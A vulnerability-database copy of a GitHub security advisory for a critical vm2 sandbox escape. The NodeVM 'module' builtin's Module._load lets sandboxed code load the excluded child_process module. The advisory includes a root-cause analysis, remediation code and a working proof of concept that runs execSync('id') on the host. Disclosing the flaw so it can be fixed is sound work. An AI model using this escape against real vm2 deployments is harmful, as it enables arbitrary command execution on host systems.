GHSA-947F-4V7F-X2V8

Vulnerability from github – Published: 2026-05-07 04:08 – Updated: 2026-05-14 20:36
VLAI
Summary
vm2 has a NodeVM builtin allowlist bypass via `module` builtin's `Module._load` that allows sandbox escape
Details

Summary

NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution.

Severity

Critical (CVSS 3.1: 9.9)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
  • Attack Complexity: Low — no special conditions required; ['*', '-child_process'] is a common, documented pattern
  • Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case
  • User Interaction: None
  • Scope: Changed — escape from sandbox boundary to host system
  • Confidentiality Impact: High — arbitrary command execution on the host
  • Integrity Impact: High — arbitrary command execution on the host
  • Availability Impact: High — arbitrary command execution on the host

Affected Component

  • lib/builtin.jsmakeBuiltinsFromLegacyOptions() (lines 109-117) — includes module in '*' expansion
  • lib/builtin.jsaddDefaultBuiltin() (lines 86-90) — loads module with generic readonly wrapper
  • lib/builtin.jsSPECIAL_MODULES (line 61) — does NOT include module

CWE

  • CWE-863: Incorrect Authorization

Description

Root Cause: The module builtin provides unrestricted host module loading

When builtin: ['*', '-child_process'] is configured, makeBuiltinsFromLegacyOptions iterates over BUILTIN_MODULES and adds all modules not explicitly excluded:

// lib/builtin.js:40
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
    .filter(s=>!s.startsWith('internal/'));

// lib/builtin.js:109-117
if (Array.isArray(builtins)) {
    const def = builtins.indexOf('*') >= 0;
    if (def) {
        for (let i = 0; i < BUILTIN_MODULES.length; i++) {
            const name = BUILTIN_MODULES[i];
            if (builtins.indexOf(`-${name}`) === -1) {
                addDefaultBuiltin(res, name, hostRequire);
            }
        }
    }

Node's builtinModules includes 'module' (verified: require('module').builtinModules.includes('module')true). Since only '-child_process' is excluded, 'module' passes the filter and gets added.

The module builtin is NOT in SPECIAL_MODULES (which only covers events, buffer, util), so it gets the generic loader:

// lib/builtin.js:86-90
function addDefaultBuiltin(builtins, key, hostRequire) {
    if (builtins.has(key)) return;
    const special = SPECIAL_MODULES[key];
    builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
}

This wraps Node's Module class in a readonly proxy and hands it to the sandbox.

The readonly proxy does not prevent method calls

ReadOnlyHandler (bridge.js:940-983) only overrides mutation traps: set, setPrototypeOf, defineProperty, deleteProperty, isExtensible, preventExtensions. It does NOT override get or apply, which are inherited from BaseHandler.

BaseHandler.apply() (bridge.js:665-677) forwards function calls directly to the host context:

apply(target, context, args) {
    const object = getHandlerObject(this);
    let ret;
    try {
        context = otherFromThis(context);
        args = otherFromThisArguments(args);
        ret = otherReflectApply(object, context, args);
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
    return thisFromOther(ret);
}

So Module._load('child_process') is forwarded to Node's native Module._load in the host context, which loads child_process without any vm2 allowlist check.

Inconsistent defense: some builtins are isolated, module is not

The codebase IS aware that certain builtins need special handling:

  • events: Gets a complete sandbox-native reimplementation via lib/events.js
  • buffer: Custom loader that only exposes the Buffer class
  • util: Custom loader that replaces inherits with a sandbox-safe version

But module — which provides access to the host's entire module loading infrastructure via Module._load, Module._resolveFilename, etc. — gets no special treatment at all.

Full execution chain

  1. Host configures NodeVM with builtin: ['*', '-child_process']
  2. makeBuiltinsFromLegacyOptions adds 'module' to allowed builtins (not excluded)
  3. Sandbox code calls require('module') → resolver finds 'module' in builtins → loadBuiltinModule('module')
  4. Loader calls vm.readonly(hostRequire('module')) → returns readonly proxy of Node's Module class
  5. Sandbox reads Module._loadBaseHandler.get() returns proxied function
  6. Sandbox calls Module._load('child_process')BaseHandler.apply() forwards to host
  7. Host's Module._load loads child_process natively (no vm2 check involved)
  8. child_process module proxied back to sandbox
  9. Sandbox calls child_process.execSync('id') → executes on host → RCE

Proof of Concept

const { NodeVM } = require('vm2');

// Developer thinks child_process is blocked
const vm = new NodeVM({
  require: {
    builtin: ['*', '-child_process'],
    external: false,
  },
});

const out = vm.run(`
  const Module = require('module');
  // Module._load bypasses vm2's builtin allowlist entirely
  const cp = Module._load('child_process');
  module.exports = cp.execSync('id').toString();
`, 'poc.js');

console.log(out.trim()); // prints host uid/gid — RCE achieved

Impact

  • Complete builtin allowlist bypass: Any configuration that allows the module builtin (including ['*', '-X'] patterns) can load ANY builtin, including explicitly excluded ones.
  • Remote code execution: Sandboxed code can execute arbitrary commands on the host via child_process.execSync.
  • Common configuration affected: The ['*', '-child_process', '-fs'] pattern is documented and widely used by developers who want "all builtins except dangerous ones."
  • No special conditions: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the '*' wildcard.
  • Additional attack surfaces via module: Beyond _load, the Module class also exposes _resolveFilename, _cache, _pathCache, and other internals that could be abused.

Recommended Remediation

Option 1: Exclude module from BUILTIN_MODULES entirely (Preferred)

The module builtin provides unrestricted host module loading and should never be exposed to the sandbox:

// lib/builtin.js:40
const DANGEROUS_BUILTINS = new Set(['module', 'worker_threads', 'cluster']);

const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
    .filter(s => !s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s));

This prevents module from being included even with the '*' wildcard. Consider also blocking worker_threads and cluster which can spawn processes.

Option 2: Add module to SPECIAL_MODULES with a safe wrapper

If module must be accessible, provide a sandbox-safe version that only exposes safe APIs:

// lib/builtin.js
const SPECIAL_MODULES = {
    events: { /* ... existing ... */ },
    buffer: defaultBuiltinLoaderBuffer,
    util: defaultBuiltinLoaderUtil,
    module: function defaultBuiltinLoaderModule(vm) {
        // Only expose safe, read-only metadata — no _load, no _resolveFilename
        return vm.readonly({
            builtinModules: [...nmod.builtinModules],
            // Omit _load, _resolveFilename, _cache, createRequire, etc.
        });
    }
};

Tradeoff: Breaks sandbox code that legitimately uses Module APIs, but those APIs are inherently unsafe in a sandbox context.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.5"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.10.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:08:55Z",
    "nvd_published_at": "2026-05-13T18:16:16Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nNodeVM\u0027s `builtin` allowlist can be bypassed when the `module` builtin is allowed (including via the `\u0027*\u0027` wildcard). The `module` builtin exposes Node\u0027s `Module._load()`, which loads any module by name directly in the host context, completely bypassing vm2\u0027s builtin restriction. This allows sandboxed code to load excluded builtins like `child_process` and achieve remote code execution.\n\n## Severity\n**Critical** (CVSS 3.1: 9.9)\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network \u2014 sandboxed code is typically received from external sources (user-submitted scripts, plugin code)\n- **Attack Complexity:** Low \u2014 no special conditions required; `[\u0027*\u0027, \u0027-child_process\u0027]` is a common, documented pattern\n- **Privileges Required:** Low \u2014 attacker needs only the ability to submit code to the sandbox, which is the intended use case\n- **User Interaction:** None\n- **Scope:** Changed \u2014 escape from sandbox boundary to host system\n- **Confidentiality Impact:** High \u2014 arbitrary command execution on the host\n- **Integrity Impact:** High \u2014 arbitrary command execution on the host\n- **Availability Impact:** High \u2014 arbitrary command execution on the host\n\n## Affected Component\n- `lib/builtin.js` \u2014 `makeBuiltinsFromLegacyOptions()` (lines 109-117) \u2014 includes `module` in `\u0027*\u0027` expansion\n- `lib/builtin.js` \u2014 `addDefaultBuiltin()` (lines 86-90) \u2014 loads `module` with generic readonly wrapper\n- `lib/builtin.js` \u2014 `SPECIAL_MODULES` (line 61) \u2014 does NOT include `module`\n\n## CWE\n- **CWE-863**: Incorrect Authorization\n\n## Description\n\n### Root Cause: The `module` builtin provides unrestricted host module loading\n\nWhen `builtin: [\u0027*\u0027, \u0027-child_process\u0027]` is configured, `makeBuiltinsFromLegacyOptions` iterates over `BUILTIN_MODULES` and adds all modules not explicitly excluded:\n\n```js\n// lib/builtin.js:40\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding(\u0027natives\u0027)))\n    .filter(s=\u003e!s.startsWith(\u0027internal/\u0027));\n\n// lib/builtin.js:109-117\nif (Array.isArray(builtins)) {\n    const def = builtins.indexOf(\u0027*\u0027) \u003e= 0;\n    if (def) {\n        for (let i = 0; i \u003c BUILTIN_MODULES.length; i++) {\n            const name = BUILTIN_MODULES[i];\n            if (builtins.indexOf(`-${name}`) === -1) {\n                addDefaultBuiltin(res, name, hostRequire);\n            }\n        }\n    }\n```\n\nNode\u0027s `builtinModules` includes `\u0027module\u0027` (verified: `require(\u0027module\u0027).builtinModules.includes(\u0027module\u0027)` \u2192 `true`). Since only `\u0027-child_process\u0027` is excluded, `\u0027module\u0027` passes the filter and gets added.\n\nThe `module` builtin is NOT in `SPECIAL_MODULES` (which only covers `events`, `buffer`, `util`), so it gets the generic loader:\n\n```js\n// lib/builtin.js:86-90\nfunction addDefaultBuiltin(builtins, key, hostRequire) {\n    if (builtins.has(key)) return;\n    const special = SPECIAL_MODULES[key];\n    builtins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n}\n```\n\nThis wraps Node\u0027s `Module` class in a readonly proxy and hands it to the sandbox.\n\n### The readonly proxy does not prevent method calls\n\n`ReadOnlyHandler` (bridge.js:940-983) only overrides mutation traps: `set`, `setPrototypeOf`, `defineProperty`, `deleteProperty`, `isExtensible`, `preventExtensions`. It does NOT override `get` or `apply`, which are inherited from `BaseHandler`.\n\n`BaseHandler.apply()` (bridge.js:665-677) forwards function calls directly to the host context:\n\n```js\napply(target, context, args) {\n    const object = getHandlerObject(this);\n    let ret;\n    try {\n        context = otherFromThis(context);\n        args = otherFromThisArguments(args);\n        ret = otherReflectApply(object, context, args);\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n    return thisFromOther(ret);\n}\n```\n\nSo `Module._load(\u0027child_process\u0027)` is forwarded to Node\u0027s native `Module._load` in the host context, which loads `child_process` without any vm2 allowlist check.\n\n### Inconsistent defense: some builtins are isolated, `module` is not\n\nThe codebase IS aware that certain builtins need special handling:\n\n- `events`: Gets a complete sandbox-native reimplementation via `lib/events.js`\n- `buffer`: Custom loader that only exposes the `Buffer` class\n- `util`: Custom loader that replaces `inherits` with a sandbox-safe version\n\nBut `module` \u2014 which provides access to the host\u0027s entire module loading infrastructure via `Module._load`, `Module._resolveFilename`, etc. \u2014 gets no special treatment at all.\n\n### Full execution chain\n\n1. Host configures `NodeVM` with `builtin: [\u0027*\u0027, \u0027-child_process\u0027]`\n2. `makeBuiltinsFromLegacyOptions` adds `\u0027module\u0027` to allowed builtins (not excluded)\n3. Sandbox code calls `require(\u0027module\u0027)` \u2192 resolver finds `\u0027module\u0027` in builtins \u2192 `loadBuiltinModule(\u0027module\u0027)`\n4. Loader calls `vm.readonly(hostRequire(\u0027module\u0027))` \u2192 returns readonly proxy of Node\u0027s `Module` class\n5. Sandbox reads `Module._load` \u2192 `BaseHandler.get()` returns proxied function\n6. Sandbox calls `Module._load(\u0027child_process\u0027)` \u2192 `BaseHandler.apply()` forwards to host\n7. Host\u0027s `Module._load` loads `child_process` natively (no vm2 check involved)\n8. `child_process` module proxied back to sandbox\n9. Sandbox calls `child_process.execSync(\u0027id\u0027)` \u2192 executes on host \u2192 RCE\n\n## Proof of Concept\n\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// Developer thinks child_process is blocked\nconst vm = new NodeVM({\n  require: {\n    builtin: [\u0027*\u0027, \u0027-child_process\u0027],\n    external: false,\n  },\n});\n\nconst out = vm.run(`\n  const Module = require(\u0027module\u0027);\n  // Module._load bypasses vm2\u0027s builtin allowlist entirely\n  const cp = Module._load(\u0027child_process\u0027);\n  module.exports = cp.execSync(\u0027id\u0027).toString();\n`, \u0027poc.js\u0027);\n\nconsole.log(out.trim()); // prints host uid/gid \u2014 RCE achieved\n```\n\n## Impact\n- **Complete builtin allowlist bypass**: Any configuration that allows the `module` builtin (including `[\u0027*\u0027, \u0027-X\u0027]` patterns) can load ANY builtin, including explicitly excluded ones.\n- **Remote code execution**: Sandboxed code can execute arbitrary commands on the host via `child_process.execSync`.\n- **Common configuration affected**: The `[\u0027*\u0027, \u0027-child_process\u0027, \u0027-fs\u0027]` pattern is documented and widely used by developers who want \"all builtins except dangerous ones.\"\n- **No special conditions**: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the `\u0027*\u0027` wildcard.\n- **Additional attack surfaces via `module`**: Beyond `_load`, the `Module` class also exposes `_resolveFilename`, `_cache`, `_pathCache`, and other internals that could be abused.\n\n## Recommended Remediation\n\n### Option 1: Exclude `module` from `BUILTIN_MODULES` entirely (Preferred)\n\nThe `module` builtin provides unrestricted host module loading and should never be exposed to the sandbox:\n\n```js\n// lib/builtin.js:40\nconst DANGEROUS_BUILTINS = new Set([\u0027module\u0027, \u0027worker_threads\u0027, \u0027cluster\u0027]);\n\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding(\u0027natives\u0027)))\n    .filter(s =\u003e !s.startsWith(\u0027internal/\u0027) \u0026\u0026 !DANGEROUS_BUILTINS.has(s));\n```\n\nThis prevents `module` from being included even with the `\u0027*\u0027` wildcard. Consider also blocking `worker_threads` and `cluster` which can spawn processes.\n\n### Option 2: Add `module` to `SPECIAL_MODULES` with a safe wrapper\n\nIf `module` must be accessible, provide a sandbox-safe version that only exposes safe APIs:\n\n```js\n// lib/builtin.js\nconst SPECIAL_MODULES = {\n    events: { /* ... existing ... */ },\n    buffer: defaultBuiltinLoaderBuffer,\n    util: defaultBuiltinLoaderUtil,\n    module: function defaultBuiltinLoaderModule(vm) {\n        // Only expose safe, read-only metadata \u2014 no _load, no _resolveFilename\n        return vm.readonly({\n            builtinModules: [...nmod.builtinModules],\n            // Omit _load, _resolveFilename, _cache, createRequire, etc.\n        });\n    }\n};\n```\n\n**Tradeoff**: Breaks sandbox code that legitimately uses `Module` APIs, but those APIs are inherently unsafe in a sandbox context.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-947f-4v7f-x2v8",
  "modified": "2026-05-14T20:36:36Z",
  "published": "2026-05-07T04:08:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43999"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a NodeVM builtin allowlist bypass via `module` builtin\u0027s `Module._load` that allows sandbox escape"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…